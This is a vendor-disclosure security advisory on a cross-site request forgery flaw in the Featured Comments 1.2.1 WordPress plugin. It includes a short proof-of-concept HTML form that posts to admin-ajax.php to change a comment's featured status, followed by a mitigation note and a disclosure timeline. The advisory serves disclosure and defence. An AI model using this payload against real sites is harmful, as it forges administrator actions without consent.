Reporter Tom Adams
Software: Featured Comments
Advisory ID: dxw-2014-1360
CVE: Awaiting assignment
CVSS: 4.3 (Medium; AV:N/AC:M/Au:N/C:N/I:P/A:N)
CSRF in Featured Comments 1.2.1 allows an attacker to set and unset comment statuses
An attacker able to convince an admin to visit a link of their choosing is able to set/unset the buried/featured status of any comments.
Proof of concept
<form action=\"http://localhost/wp-admin/admin-ajax.php?action=feature_comments\" method=\"POST\">
<input type=\"text\" name=\"do\" value=\"feature\">
<input type=\"text\" name=\"comment_id\" value=\"9\">
Disable the plugin until a fix is available.
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2014-05-23: Email address for report requested via contact form at pippinsplugins.com
2014-05-26: Author acknowledged report
2014-06-10: dxw chased to establish timeline for a fix
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